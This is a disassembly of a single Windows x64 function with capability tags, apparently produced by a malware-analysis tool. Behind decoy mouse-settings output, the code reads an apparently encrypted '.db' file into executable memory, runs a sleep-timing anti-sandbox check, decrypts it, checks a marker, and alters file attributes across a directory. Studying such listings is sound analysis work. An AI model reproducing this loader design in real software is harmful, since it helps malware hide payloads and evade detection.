Function at 0x180001960
Capabilities:
Allocate or change rwx memory
Check if file exists
Enumerate files on windows
Get file attributes
Read file on windows
Set file attributes

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x330
mov rax, qword [0x180015228]
xor rax, rsp
mov qword [rsp + 0x300], rax
xor eax, eax
xor ebx, ebx
mov r14, rcx
lea ecx, [rbx + 0x13]
mov r15, rdx
mov dword [rsp + 0x70], ebx
mov dword [rsp + 0x74], eax
mov dword [rsp + 0x78], eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x1800019b0
lea rcx, str.No_mouse_installed._n
call fcn.180003134
jmp 0x180001a15
mov ecx, 0x17
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x1800019cd
lea rcx, str.Buttons_not_swapped._n
call fcn.180003134
jmp 0x1800019d9
lea rcx, str.Buttons_swapped._n
call fcn.180003134
xor edx, edx
lea r8, [rsp + 0x70]
xor r9d, r9d
lea ecx, [rdx + 3]
call qword [sym.imp.USER32.dll_SystemParametersInfoA]
test eax, eax
je 0x180001a15
mov edx, dword [rsp + 0x78]
lea rcx, str.Speed:__d_n
call fcn.180003134
mov r8d, dword [rsp + 0x74]
mov edx, dword [rsp + 0x70]
lea rcx, str.Threshold:__d__d_n
call fcn.180003134
lea rdx, [0x180016750]
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x1f0]
mov edx, 0x2e
call fcn.180002620
test rax, rax
je 0x180001e6a
mov qword [rsp + 0x360], rbp
mov qword [rsp + 0x328], rsi
mov qword [rsp + 0x320], rdi
lea rdx, [0x180011e3c]
lea rcx, [rsp + 0x1f0]
mov qword [rsp + 0x318], r12
mov qword [rsp + 0x310], r13
mov byte [rax + 1], 0x64
mov byte [rax + 2], 0x62
mov byte [rax + 3], bl
call fcn.180004314
mov r12, rax
test rax, rax
je 0x180001e40
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call fcn.18000412c
mov rcx, r12
call fcn.180004010
xor r8d, r8d
xor edx, edx
mov rcx, r12
movsxd rsi, eax
call fcn.18000412c
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
lea edx, [rsi + 1]
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
movsxd rdx, edx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
je 0x180001e40
cmp esi, 0x1000
jle 0x180001e40
lea rcx, section..data
mov r9d, 0x12
xor r8d, r8d
xor edx, edx
call qword [sym.imp.SETUPAPI.dll_SetupDiGetClassDevsA]
cmp rax, 0xffffffffffffffff
jne 0x180001b22
lea rdi, section..data
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov r9, r12
mov r8d, 1
mov rdx, rsi
mov rcx, rbp
mov r13, rsi
call fcn.180003e2c
mov rcx, r12
call fcn.180003a98
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdi, rbp
mov eax, ebx
test esi, esi
jle 0x180001b5d
cmp byte [rdi], bl
jne 0x180001b5d
inc eax
inc rdi
cmp eax, esi
jl 0x180001b50
lea rcx, [rsp + 0x80]
call fcn.1800029f0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x80]
call fcn.1800029a4
mov rcx, rax
call fcn.1800035e0
lea rcx, [0x180016b10]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x90]
call fcn.1800029f0
mov rdx, qword [rsp + 0x90]
sub rdx, qword [rsp + 0x80]
cmp rdx, 2
jge 0x180001bc5
xor ecx, ecx
call fcn.180003550
int3
mov rax, rdi
sub rax, rbp
add rax, 0x1000
cmp rax, rsi
jl 0x180001bfe
mov r8, rsi
xor edx, edx
mov rcx, rbp
mov qword [r14], rbx
call fcn.180003920
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x180001e42
lea rcx, [rsp + 0xb0]
mov r8d, 0x10
mov rdx, rdi
call fcn.1800014f0
lea rax, [rsp + 0x88]
lea rcx, [rsp + 0x9c]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
xor r9d, r9d
xor r8d, r8d
mov dl, 1
mov dword [rsp + 0x28], ebx
mov byte [rsp + 0x9c], bl
mov byte [rsp + 0x9d], bl
mov byte [rsp + 0x9e], bl
mov dword [rsp + 0x20], ebx
mov byte [rsp + 0x9f], bl
mov byte [rsp + 0xa0], bl
mov byte [rsp + 0xa1], 1
mov qword [rsp + 0x88], rbx
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x68], rbx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x180001d1c
lea r8, [rsp + 0x68]
mov edx, 8
or rcx, 0xffffffffffffffff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180001d1c
mov rcx, qword [rsp + 0x68]
xor r9d, r9d
lea rax, [rsp + 0x60]
lea edx, [r9 + 1]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov r11d, dword [rsp + 0x60]
cmp r11d, 0x400
ja 0x180001d1c
mov rdx, r11
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r12, rax
test rax, rax
je 0x180001d1c
mov r9d, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x98]
mov r8, r12
mov edx, 1
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x180001d2f
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x180001d3f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebp
lea r12, [rdi + 0x10]
lea rcx, [rsp + 0xb0]
sub eax, edi
mov r9, r12
mov rdx, r12
add esi, eax
lea r8d, [rsi - 0x10]
call fcn.180001720
cmp byte [r12], 0x53
jne 0x180001e1f
cmp byte [rdi + 0x11], 0x55
jne 0x180001e1f
lea rdx, [rsp + 0xb0]
lea rcx, [0x180011e38]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180001e0f
cmp dword [0x180016b0c], ebx
jne 0x180001e06
nop dword [rax + rax]
lea rcx, [rsp + 0xdc]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x180001ddf
test al, 1
jne 0x180001dca
xor eax, 1
lea rcx, [rsp + 0xdc]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rdx, [rsp + 0xb0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x180001de9
cmp dword [0x180016b0c], ebx
je 0x180001da0
jmp 0x180001e06
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0x180016b0c]
cmp eax, 0x12
mov eax, 1
cmove ecx, eax
mov dword [0x180016b0c], ecx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [rsi - 0x10]
mov qword [r14], r12
mov ebx, 1
mov dword [r15], eax
jmp 0x180001e40
mov r8, r13
xor edx, edx
mov rcx, rbp
mov qword [r14], rbx
call fcn.180003920
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebx
mov r12, qword [rsp + 0x318]
mov rdi, qword [rsp + 0x320]
mov rsi, qword [rsp + 0x328]
mov rbp, qword [rsp + 0x360]
mov r13, qword [rsp + 0x310]
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.180002dd0
add rsp, 0x330
pop r15
pop r14
pop rbx
ret